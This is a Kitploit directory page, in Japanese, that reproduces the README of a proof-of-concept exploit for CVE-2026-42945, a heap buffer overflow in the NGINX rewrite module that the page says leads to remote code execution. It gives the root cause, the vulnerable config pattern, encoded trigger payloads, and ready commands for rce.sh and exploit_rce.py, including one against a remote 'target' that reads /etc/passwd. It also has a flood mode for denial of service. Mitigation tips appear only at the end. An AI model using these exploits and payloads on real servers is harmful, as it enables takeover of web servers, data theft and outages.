Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
nginx-cve-2026-42945-poc | Kitploit
ツール/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
コンテナセキュリティ動的分析 (サンドボックス)脆弱性分析エクスプロイトウェブアプリケーション悪用ファジングペネトレーションテストバイナリエクスプロイト
GitHubforxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42945 — NGINX Rewrite Module ヒープバッファオーバーフロー → RCE

RCE 確認済み — ヒープオーバーフロー + GDB プロセス注入により、NGINX / OpenResty のワーカープロセスで任意のコマンドを実行する。

クイックスタート

root@kitploit:~
# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx

# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty

# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

脆弱性概要

属性値
CVE 番号CVE-2026-42945
脆弱性タイプヒープバッファオーバーフロー → リモートコード実行 (RCE)
影響コンポーネントngx_http_rewrite_module
影響バージョンNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
脆弱性スコアCVSS 9.4 (CRITICAL)
利用条件認証不要; RCE には ptrace 権限 (root) が必要

脆弱性の根本原因

ngx_http_script_complex_value_code() は URI のデコード後長さでバッファを割り当てるが、ngx_http_script_copy_capture_code() は ngx_escape_uri() を呼び出してエンコード後長さで書き込む。URL エンコード文字が 3 倍に膨張する → ヒープオーバーフロー。

トリガー条件

次の 3 つの条件をすべて満たす必要がある:

  1. rewrite と set ディレクティブが同じ location にある
  2. rewrite の置換文字列に ? が含まれる
  3. set が rewrite のキャプチャ変数 $1 を参照する
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # 含 '?'
    set $original_endpoint $1;                     # 引用 $1
}

ASAN によるスタック確認

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

プロジェクト構造

root@kitploit:~
.
├── run.sh                          # 一键构建 + 测试入口
├── README.md
│
├── scripts/                        # 测试 & 利用脚本
│   ├── rce.sh                      # 纯 Shell RCE (curl + GDB, 无 Python)
│   ├── exploit_rce.py              # Python RCE (兼容 2.7/3.x)
│   ├── exploit.py                  # PoC 主脚本 (check/exploit/rce/flood)
│   └── exploit_asan.py             # ASAN 全面扫描
│
├── package/                        # 部署 & 编排文件
│   ├── Dockerfile.rce              # NGINX 源码编译 + RCE 环境
│   ├── Dockerfile.openresty.rce    # OpenResty 源码编译 + RCE 环境
│   ├── Dockerfile                  # 基础镜像 (Alpine)
│   ├── Dockerfile.asan             # ASAN 调试镜像
│   ├── docker-compose.yml          # Docker 编排 (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # NGINX 漏洞配置
│   ├── nginx-openresty.conf        # OpenResty 漏洞配置
│   ├── start_rce.sh                # NGINX RCE 容器启动脚本
│   └── start_openresty_rce.sh      # OpenResty RCE 容器启动脚本
│
└── src/                            # 源码 (编译用)
    ├── nginx-1.26.3/               # NGINX 1.26.3 源码
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # OpenResty 1.25.3.1 (内置 nginx/1.25.3)

詳細な使用方法

Docker コンテナ内でのテスト

root@kitploit:~
# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'

ホストから exec でコンテナに入る

root@kitploit:~
docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

リモートターゲットを直接テスト

root@kitploit:~
# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

PoC メインスクリプト (4 つのモード)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # DoS 压力测试

トリガーペイロード

修正の推奨事項

  1. NGINX を 1.30.2+ にアップグレードする
  2. 一時的な緩和策: rewrite (? を含む) + set ($1 を参照) の組み合わせを避ける
  3. WAF ルール: 大量の %25/%3f/%23/%26 エンコードリクエストを遮断する
  4. 権限の強化: echo 1 > /proc/sys/kernel/yama/ptrace_scope

参考

  • F5 Advisory K000161019
  • NGINX Source
ツールをダウンロード
Payload説明結果
/api/%25 × Nエンコードされた %✅ ヒープオーバーフロー
/api/%3f × Nエンコードされた ?✅ ヒープオーバーフロー
/api/%23 × Nエンコードされた #✅ ヒープオーバーフロー
/api/%26 × Nエンコードされた &✅ ヒープオーバーフロー